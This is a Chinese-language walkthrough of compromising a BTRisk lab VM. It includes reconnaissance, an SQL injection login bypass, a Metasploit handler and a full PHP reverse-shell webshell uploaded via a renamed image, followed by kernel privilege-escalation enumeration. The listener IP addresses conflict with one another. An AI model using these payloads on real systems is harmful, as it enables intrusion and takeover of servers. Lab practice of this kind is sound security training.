前置工作:
安装 VMware Workstation,kali Linux ,搭建或下载BTRisk靶场,如果是下载的靶场不知道密码,可以配置net模式,然后通过arp-scan整个网段获取目标机器的IP地址
sudo arp-scan 192.168.92.0/24
1.信息收集&漏洞扫描
kali IP:192.168.92.131
靶机 IP:192.168.92.130
利用kali的nmap扫描工具进行端口扫描:
nmap -sV 192.168.92.130
使用的是Ubuntu系统,开启了FTP文件上传服务,ssh远程连接服务看看他们使用的版本有没有漏洞:
显示开启了http服务,尝试通过浏览器打开网页
点了两下,没有可用信息,但是这个页面提到了数据库,可以合理推断可能有sql注入漏洞,使用目录扫描工具进行扫描,这里我用的是御剑扫描:
这里看到了三个可疑目录,尝试后可以看到/uploads/存储上传的文件的地方,/login.php 是一个登录的页面,/config.php啥也没有
2.漏洞利用:
经过信息收集和漏洞扫描阶段,我们可以得知该系统存在文件上传漏洞,可能存在sql注入漏洞,接下来我们尝试登录弱口令admin/admin显示数据无效,看看页面源代码有没有线索:
这里的意思是密码中不能带有单引号,账号必须为btrisk.com结尾
使用户名为“xxx@btrisk.com”,密码任意进行登录,发现可以成功登陆,但是页面没有任何可用的内容
但是这里有报错的回显点,所以可能存在报错注入,进行sql注入尝试,将登录密码修改成
xxx' or 1=1 #
成功登录,页面上有一个文件上传功能
在漏洞扫描阶段我们知道了他是肯定有文件上传漏洞的,尝试用一句话木马和短标签绕过,失败。
使用msf监听模块
再利用msfconsole进行监听;
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.188.135 本地kali地址
set lport 4444
run
用接下来另外开个终端,利用msfvenom生成webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.92.132 lport=4444 -f raw
/*<?php /**/ error_reporting(0); $ip = '192.168.92.131'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
生成图片马中,然后上传,然后1.png改成1.php,放行
上传成功,使用msf连接(这里看上传成功没有的目录是/uploads/)
然后返回msfconsole终端:run,然后双击文件
3.提升权限
先进入命令行
shell
让界面更加美观:
python -c "import pty;pty.spawn('/bin/bash')"
3.1尝试内核溢出提权
第一步:查看目标系统的相关信息
uname -a #查看内核/操作系统/cpu信息
cat /proc/version #查看系统信息
cat /etc/issue #查看操作系统版本
lsb_release -a #查询系统版本等信息
找到了,然后打开searchsploit,寻找对应的exp,
searchsploit Ubuntu 14.04.1
searchsploit -x linux/local/41760.txt
回到目标主机,下载41760.txt,下载不了,但ping得通,不知道为啥,有没有大佬提点一下